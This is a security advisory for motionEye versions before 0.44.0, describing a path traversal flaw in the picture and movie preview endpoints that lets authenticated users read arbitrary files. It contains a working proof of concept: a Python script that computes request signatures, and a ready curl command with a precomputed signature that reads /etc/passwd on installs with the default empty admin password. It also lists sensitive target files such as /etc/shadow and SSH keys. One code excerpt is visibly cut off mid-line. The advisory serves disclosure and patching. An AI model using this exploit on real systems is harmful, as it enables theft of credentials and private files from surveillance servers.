GHSA-g9fx-5r4h-pcw3 motionEye has an Arbitrary File Read via Path Traversal in Picture/Movie Preview Endpoint

• PyPI motioneye: < 0.44.0 → fixed in 0.44.0

Summary motionEye v0.43.1 (latest stable) is vulnerable to path traversal in the picture and movie API endpoints, like `/picture/{id}/preview/{filename}`. Neither the API handlers, nor the `mediafiles.py` functions like `get_media_preview()` check for `..` sequences in the filename parameter, except `get_media_content()` which does. This allows an authenticated user with normal (non-admin) privileges to read arbitrary files from the filesystem as the motionEye process user. Details The `get_media_content()` function properly validates the path: ```python mediafiles.py ~line 506 — SAFE def get_media_content(camera_config, path, media_type): target_dir = camera_config['target_dir'] full_path = os.path.join(target_dir, path) if '..' in path: # ?_username=::")`. With the default empty admin password: ```python !/usr/bin/env python3 """Signature generator for motionEye path traversal PoC""" import hashlib, re, urllib.parse _SIGNATURE_REGEX = re.compile(r'[^A-Za-z0-9/?_.=&{}\[\]\":, -]', re.DOTALL) def compute_signature(method, path, key=''): parts = list(urllib.parse.urlsplit(path)) query = [q for q in urllib.parse.parse_qsl(parts[3], keep_blank_values=True) if q[0] != '_signature'] query.sort(key=lambda q: q[0]) query = [(n, urllib.parse.quote(v, safe="!'()*~")) for (n, v) in query] query = '&'.join([(q[0] + '=' + q[1]) for q in query]) parts[0] = parts[1] = '' parts[3] = query path = urllib.parse.urlunsplit(parts) path = _SIGNATURE_REGEX.sub('-', path) key = _SIGNATURE_REGEX.sub('-', key) return hashlib.sha1(('{}:{}:{}:{}'.format(method, path, '', key)).encode('utf-8')).hexdigest().lower() path = '/picture/1/preview/..%2F..%2F..%2F..%2Fetc%2Fpasswd?_username=admin' sig = compute_signature('GET', path) print(f'Signature: {sig}') print(f'curl --path-as-is -s "http://TARGET:8765/{path}&_signature={sig}"') ``` Step 3: Send the request using `curl --path-as-is` (the `--path-as-is` flag is required — without it, curl normalizes `..%2F` and collapses the traversal before sending): ```bash With default empty admin password, the signature is static: curl --path-as-is -s "http://localhost:8766/picture/1/preview/..%2F..%2F..%2F..%2Fetc%2Fpasswd?_username=admin&_signature=8b387100a519c617bdd66fe629d14b05e09c6e0c" ``` Step 4: The server returns the contents of `/etc/passwd`. Verified output: > Note on the signature value: The signature `8b387100a519c617bdd66fe629d14b05e09c6e0c` is valid for the default empty admin password. If the admin password has been changed, regenerate the signature using the Python script above with the correct password passed as the `key` parameter. Impact An authenticated user (normal or admin) can read arbitrary files from the server, including: • `/etc/passwd` — user enumeration • `/etc/motioneye/motion.conf` — admin password hash, surveillance password in plaintext • `/etc/shadow` — password hashes (if running as root, which is default in Docker) • SSH keys, environment variables, and other sensitive configuration files • Surveillance footage from other cameras